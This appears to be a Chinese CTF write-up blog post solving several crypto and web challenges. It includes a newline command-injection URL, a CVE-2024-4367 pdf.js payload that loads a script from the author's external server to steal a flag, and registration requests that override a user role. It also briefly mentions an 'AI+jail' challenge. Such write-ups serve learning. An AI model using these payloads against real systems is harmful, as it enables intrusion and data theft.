CRYPTO // 🚩 Basecally a Flag (score: 100 / solves: 56)
就只有一个附件,我进行二进制分解出来一个不合理的字符串去解base没有成功,后来知道是要解base4
1 | 1100 1111 1110 1111 1100 1111 1100 1010 1001 1110 1011 1010 1010 1001 1110 1011 1001 1100 1100 |
我们首先要把二进制转换为四进制,再将四进制转换为ascii字符就是flag
1 | def to_base4(n): |
REV/WEB // 🔮 Fortune (score: 380 / solves: 13)
F12查看一下发现wsam东西如何下载,然后逆向一下(俺不会)知道路由
1 | /api/v1.05.1753/categories |
主要就是flag路由,截断直接命令执行,/api/v1.03.410/verify-my-flag/%0Als
,web部分就结束了
WEB // 🤥 Do Not Cheat (score: 190 / solves: 32)
看起来就像是一个XSS,并且是使用的PDF来操作的,其中源码中注释了一个部分//{ name: "Flag", url: "/app/admin/flag.pdf" }
,那也就是要想办法访问这个,F12看到利用的pdf.worker.mjs
来打开的PDF文件,搜索一下pdf.worker.mjs Vulnerability
,找到了 CVE-2024-4367 POC 先写个恶意js准备外部加载,避免因为字符串长度问题而导致失败
1 | (function(){ |
抓包得知/report
路由可以加载外部PDF,但是试着去加载了一下,并没有成功,去写个flask进行处理
1 | from flask import Flask, send_file, request, jsonify |
1 | python3 CVE-2024-4367.py "var s=document.createElement('script');s.src='http://185.244.0.72:5000/payload';document.body.append(s)" |
传参/report?document=http://185.244.0.72:5000/poc
那样子flag就会在我们的/var/www/html/uploads/
下面了,不过,貌似是没有成功,我觉得可能是因为我没有使用https的原因,打算配置一下ngrok
,注册,我使用的QQ邮箱,安装一下
1 | curl -sSL https://ngrok-agent.s3.amazonaws.com/ngrok.asc \ |
得到我的临时域名https://03d5-185-244-0-72.ngrok-free.app
,也这东西还可以哟
1 | python3 CVE-2024-4367.py "var s=document.createElement('script');s.src='https://03d5-185-244-0-72.ngrok-free.app/payload';document.body.append(s)" |
1 | (async () => { |
但是还有个问题就是因为这是个临时页面,必须对How to Bypass Ngrok Browser Warning 尝试了一下发现没啥用,到最后直接丧心病狂,用我自己的博客来打的,并且由于cor
的设置,需要接受不同源的请求,所以需要修改一下请求头
细节
- https服务器的准备
- 添加 CORS 配置:
- add_header ‘Access-Control-Allow-Origin’ ‘*’; # 允许所有来源
- add_header ‘Access-Control-Allow-Methods’ ‘POST, OPTIONS’; # 允许 POST 和 OPTIONS 方法
- add_header ‘Access-Control-Allow-Headers’ ‘Content-Type’; # 允许 Content-Type 请求头
- 必须确保自己的PDF是否被解析,可以使用
/?document=<ngrok_url>
进行尝试
WEB/CRYPTO // 🤷♂️ Free Flag (score: 100 / solves: 58)
进来就可以看到flag,但是发现是乱码,查看网站源码可以发现一段js
1 | <script> |
首先是获取浏览器时区,获取到hash之后进行按位异或,让GPT写exp,但是好像他写不出来啊,其中比较核心的思想就是flag肯定是一个有意义的字符串,所以我们在限制捕捉的时候严格一点,并且有个最痛的点,就是时区好像不能随便写必须是Europe/Warsaw
1 | const MD5 = require('crypto-js/md5'); |
找出有意义的字符串是see_i_told_you_it_was_working_b4
,包上即可
WEB // 😺 Escatlate (flag #1) (score: 100 / solves: 249)
WEB // 🙀 Escatlate (flag #2) (score: 100 / solves: 139)
很明显的一个鉴权问题,总共是两个flag,所以这里是两道题,直接一起说了
我们先直接注册账号拿第一个flag,但是发现并没有成功,注册出来的是user
可以直接覆盖,必须要改一下数据包才能成功
1 | POST /api/register |
拿到回显
1 | 200 OK |
看到auth.js
里面是根据x-token
来判断的,但是不知道为什么bp原装抓的包就是不可以,需要yakit去构造一种很简单的包才对
1 | GET /api/message |
第二题的话是一个老生常谈的问题,因为我们已经测试出了覆盖的问题,可以直接利用JavaScript大小写解析问题来绕过admin
1 | POST /api/register |
1 | GET /api/message |
WEB/CRYPTO // 🔐 Entropyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy (score: 100 / solves: 116)
一个php,过滤关键信息得到如下代码
1 |
|
password_verify()
会将用户输入的密码(与用户名和熵拼接)进行相同的哈希运算,使用 bcrypt
算法计算哈希值。再与$hash
进行比较,但是在上周比赛的时候我们知道bcrypt
算法只能存储72个值,这里算上,有71个值,所以还是一样的写个脚本就可以了
1 | import requests |
但是我本来是直接用的string.digits+string.ascii_letters+string.punctuation
这都还没爆破出来,还有不可见字符,这是真c
WEB/CRYPTO // 📦 Safebox (score: 100 / solves: 63)
1 | const express = require('express') |
随便看了看主要还是X-Token
这个http头,还有就是网页测试发现下载文件需要高级用户才可以,也就是说我们这里并不行,重新注册一个用户观察一下
1 | POST /api/register |
1 | {"username":"test","token":"4a094134738e1664e45c92d4e05861d13d3ed6cc4488e8fda61c8666e9341ebe"} |
注意到下载文件的逻辑主要是两个参数uploadsDir
和userFolder
,前者就是upload
后者是这样生成的
1 | const userFolder = crypto.createHash('sha256').update(username).digest('hex'); |
1 | const crypto = require('crypto'); |
1 | GET /files/8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918/flag.txt |
出来一坨二进制,避免数据丢失进行base64编码
后面的一个XOR就不是很懂了,但是关键代码在这里
要上传一个全为0x00的文件,这样就可以公用密钥了
WEB/MISC // 👴🏻 Vibe Coding (score: 100 / solves: 79)
每个人问的都不一样,相当于是AI+jail
1 | function getEvalResult() { |
小结
比赛还可以,就是纯一个方向的题目比较少